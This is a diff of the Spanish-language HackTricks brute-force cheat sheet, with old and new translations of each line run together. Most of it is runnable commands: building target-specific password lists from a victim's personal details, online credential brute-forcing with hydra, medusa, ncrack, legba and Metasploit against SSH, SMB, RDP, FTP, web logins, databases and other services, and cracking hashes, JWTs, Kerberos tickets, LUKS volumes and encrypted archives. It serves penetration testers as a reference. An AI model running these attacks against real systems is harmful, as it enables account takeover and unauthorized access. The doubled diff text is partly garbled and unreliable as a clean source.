Encuentra toda la información posible sobre el objetivo y genera un diccionario personalizado. Herramientas que pueden ayudar: Encuentra tanta información sobre el objetivo como puedas y genera un diccionario personalizado. Herramientas que pueden ayudar:
### Crunch ### Crunch
```bash ```bash
@ -60,13 +61,13 @@ cewl example.com -m 5 -w words.txt
``` ```
### [CUPP](https://github.com/Mebus/cupp) ### [CUPP](https://github.com/Mebus/cupp)
Genera contraseñas basadas en tu conocimiento sobre la víctima (nombres, fechas...) Genera contraseñas basadas en tu conocimiento de la víctima (nombres, fechas...)
``` ```
python3 cupp.py -h python3 cupp.py -h
``` ```
### [Wister](https://github.com/cycurity/wister) ### [Wister](https://github.com/cycurity/wister)
Una herramienta generadora de listas de palabras, que te permite suministrar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación a un objetivo específico. Una herramienta generadora de listas de palabras, que te permite proporcionar un conjunto de palabras, dándote la posibilidad de crear múltiples variaciones a partir de las palabras dadas, creando una lista de palabras única e ideal para usar en relación con un objetivo específico.
```bash ```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -103,14 +104,14 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Servicios ## Servicios
Ordenados alfabéticamente por nombre de servicio. Ordenados alfabéticamente por nombre del servicio.
### AFP ### AFP
```bash ```bash
@ -123,12 +124,10 @@ msf> set USER_FILE <PATH_USERS>
msf> run msf> run
``` ```
### AJP ### AJP
AJP (Apache JServ Protocol) is a binary protocol that can be brute-forced to gain unauthorized access.
```bash ```bash
nmap --script ajp-brute -p 8009 <IP> nmap --script ajp-brute -p 8009 <IP>
``` ```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM y Solace)
```bash ```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
``` ```
@ -152,19 +151,17 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
``` ```
### FTP ### FTP
El Protocolo de Transferencia de Archivos (FTP) es un protocolo estándar de red utilizado para la transferencia de archivos entre un cliente y un servidor en una red TCP/IP.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
``` ```
### Fuerza bruta genérica HTTP ### HTTP Genérico Brute
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### Autenticación básica HTTP ### Autenticación Básica HTTP
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https # Use https-get mode for https
@ -176,12 +173,12 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
``` ```
### HTTP - Enviar formulario ### HTTP - Post Form
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
``` ```
Para http**s** debes cambiar de "http-post-form" a "**https-post-form"** Para http**s** tienes que cambiar de "http-post-form" a "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle ### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle
```bash ```bash
@ -189,8 +186,6 @@ cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. It allows the end user to view and manipulate the messages as though they were stored locally on the end user's device.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -198,8 +193,6 @@ nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993 legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto que facilita la comunicación en grupos a través de canales de chat.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
@ -236,8 +229,6 @@ nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
``` ```
### MQTT ### MQTT
MQTT (Message Queuing Telemetry Transport) es un protocolo de mensajería ligero diseñado para dispositivos con ancho de banda limitado o conexiones inestables.
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
@ -249,8 +240,6 @@ use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt legba mongodb --target localhost:27017 --username root --password data/passwords.txt
``` ```
### MSSQL ### MSSQL
La técnica de fuerza bruta se puede utilizar para intentar adivinar credenciales de inicio de sesión de MSSQL. Se pueden usar herramientas como Hydra, Ncrack o incluso un script personalizado para realizar ataques de fuerza bruta contra servidores MSSQL.
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
@ -292,17 +281,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
``` ```
Para utilizar **oracle\_login** con **patator** necesitas **instalar**: Para usar **oracle\_login** con **patator** necesitas **instalar**:
```bash ```bash
pip3 install cx_Oracle --upgrade pip3 install cx_Oracle --upgrade
``` ```
[Bruteforce de hash de OracleSQL sin conexión](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** y **11.2.0.3**): [Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** y **11.2.0.3**):
```bash ```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
``` ```
### POP ### POP
POP (Post Office Protocol) es un protocolo de aplicación utilizado por clientes de correo electrónico para recuperar mensajes de un servidor de correo remoto.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -344,20 +331,14 @@ hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
``` ```
### Rexec ### Rexec
Rexec es un servicio que permite a los usuarios ejecutar comandos en un sistema remoto. Los atacantes a menudo intentan realizar ataques de fuerza bruta contra este servicio para adivinar las credenciales de acceso.
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
### Rlogin ### Rlogin
Rlogin es un protocolo de red que permite a un usuario iniciar sesión en un sistema remoto. Es comúnmente utilizado en entornos Unix y Linux para acceder a servidores de forma remota.
```bash ```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
Rsh (Remote Shell) is a simple remote shell client included in Unix operating systems. It can be used to execute commands on a remote system. It is not commonly used due to security concerns, as it sends data in plain text, making it vulnerable to interception.
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -385,8 +366,6 @@ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
``` ```
### SMB ### SMB
El Protocolo del Bloque de Mensajes del Servidor (SMB, por sus siglas en inglés) es un protocolo de red que permite a los sistemas operativos compartir archivos, impresoras y otros recursos en una red.
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
@ -399,8 +378,6 @@ hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>] legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
``` ```
### SOCKS ### SOCKS
SOCKS (Socket Secure) es un protocolo de red que permite a un cliente detrás de un firewall obtener acceso a recursos en la red externa a través de un servidor proxy.
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -408,8 +385,6 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
``` ```
### SQL Server ### SQL Server
### Servidor SQL
```bash ```bash
#Use the NetBIOS name of the machine as domain #Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -419,8 +394,6 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
``` ```
### SSH ### SSH
SSH (Secure Shell) es un protocolo de red que permite a los usuarios acceder de forma segura a un servidor remoto. Se utiliza comúnmente en entornos de hacking ético para obtener acceso a sistemas remotos de forma segura.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -432,17 +405,15 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
``` ```
#### Claves SSH débiles / PRNG predecible de Debian #### Claves SSH débiles / PRNG predecible de Debian
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser objeto de fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pregenerados de claves débiles también están disponibles, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves dramáticamente reducido que puede ser atacado por fuerza bruta con herramientas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). También están disponibles conjuntos pre-generados de claves débiles como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ)
El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que **permite una comunicación e interacción fluida con servicios populares de encolado de mensajes** como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería. El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que **permite una comunicación e interacción sin problemas con servicios populares de colas de mensajes** como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería.
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
### Telnet ### Telnet
Telnet es un protocolo de red que permite la comunicación bidireccional a través de terminales virtuales. Es comúnmente utilizado en pruebas de penetración para realizar ataques de fuerza bruta contra servicios que utilizan este protocolo.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -458,8 +429,6 @@ legba telnet \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
``` ```
### VNC ### VNC
Virtual Network Computing (VNC) es un sistema que te permite visualizar y interactuar con el entorno gráfico de un ordenador de forma remota. Utilizando un cliente VNC, puedes controlar un ordenador como si estuvieras sentado frente a él, lo que lo hace útil para administración remota, soporte técnico y otras aplicaciones.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
@ -481,8 +450,8 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -490,7 +459,7 @@ Obtenga acceso hoy:
### Bases de datos de cracking en línea ### Bases de datos de cracking en línea
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 y SHA1) * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/sin ESS/SSP y con cualquier valor de desafío) * [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/sin ESS/SSP y con cualquier valor de desafío)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas de WPA2 y archivos de MSOffice, ZIP, PDF...) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas de WPA2 y archivos de MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://crackstation.net/](https://crackstation.net) (Hashes)
@ -502,7 +471,7 @@ Obtenga acceso hoy:
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Revise esto antes de intentar hacer un ataque de fuerza bruta a un Hash. Revisa esto antes de intentar hacer un brute force a un Hash.
### ZIP ### ZIP
```bash ```bash
@ -520,10 +489,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
``` ```
#### Ataque de fuerza bruta de texto plano conocido en archivos zip #### Ataque de zip con texto plano conocido
Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **los nombres de archivo y el tamaño de los archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\ Necesitas conocer el **texto plano** (o parte del texto plano) **de un archivo contenido dentro** del zip encriptado. Puedes verificar **nombres de archivos y tamaño de archivos contenidos dentro** de un zip encriptado ejecutando: **`7z l encrypted.zip`**\
Descarga [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) desde la página de lanzamientos. Descarga [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) de la página de lanzamientos.
```bash ```bash
# You need to create a zip file containing only the file that is inside the encrypted zip # You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file zip plaintext.zip plaintext.file
@ -547,8 +516,6 @@ apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john ./7z2john.pl file.7z > 7zhash.john
``` ```
### PDF ### PDF
La técnica de fuerza bruta es un enfoque común para descifrar contraseñas de archivos PDF protegidos. Herramientas como **pdfcrack** y **John the Ripper** pueden ser utilizadas para realizar ataques de fuerza bruta contra archivos PDF. Estas herramientas intentarán diferentes combinaciones de contraseñas hasta que encuentren la correcta. Es importante tener en cuenta que la fuerza bruta puede ser un proceso lento y consumir muchos recursos computacionales.
```bash ```bash
apt-get install pdfcrack apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@ -557,9 +524,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
``` ```
### Contraseña del Propietario de PDF ### Contraseña de Propietario de PDF
Para crackear una contraseña del propietario de PDF, revisa esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) Para romper una contraseña de propietario de PDF, consulta esto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
### JWT ### JWT
```bash ```bash
@ -573,7 +540,7 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John john jwt.john #It does not work with Kali-John
``` ```
### Descifrado de NTLM ### Cracking NTLM
```bash ```bash
Format:USUARIO:ID:HASH_LM:HASH_NT::: Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
@ -593,7 +560,7 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
``` ```
### Imagen de Lucks ### Lucks image
#### Método 1 #### Método 1
@ -613,7 +580,7 @@ cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt mount /dev/mapper/mylucksopen /mnt
``` ```
Otro tutorial de BF de Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) Otro tutorial de Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql ### Mysql
```bash ```bash
@ -630,16 +597,16 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (663).png" alt=""><figcaption></figcaption></figure>
### Clave maestra de DPAPI ### Clave Maestra DPAPI
Utiliza [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john Usa [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) y luego john
### Columna protegida por contraseña en Open Office ### Columna Protegida por Contraseña de Open Office
Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla: Si tienes un archivo xlsx con una columna protegida por una contraseña, puedes desprotegerla:
* **Súbelo a Google Drive** y la contraseña se eliminará automáticamente * **Cárgalo en google drive** y la contraseña se eliminará automáticamente
* Para **eliminarla** de forma **manual**: * Para **eliminarla** **manualmente**:
```bash ```bash
unzip file.xlsx unzip file.xlsx
grep -R "sheetProtection" ./* grep -R "sheetProtection" ./*
@ -658,8 +625,8 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
@ -672,22 +639,22 @@ Obtenga acceso hoy:
hash-identifier hash-identifier
> <HASH> > <HASH>
``` ```
### Listas de palabras ### Wordlists
* **Rockyou** * **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **Herramientas de generación de listas de palabras** ### **Herramientas de Generación de Wordlists**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de combinaciones de teclado con caracteres base configurables, mapa de teclas y rutas. * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Generador avanzado de teclado con caracteres base configurables, mapa de teclas y rutas.
```bash ```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
``` ```
### Mutación de John ### John mutation
Leer _**/etc/john/john.conf**_ y configurarlo Lee _**/etc/john/john.conf**_ y configúralo
```bash ```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@ -702,7 +669,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
``` ```
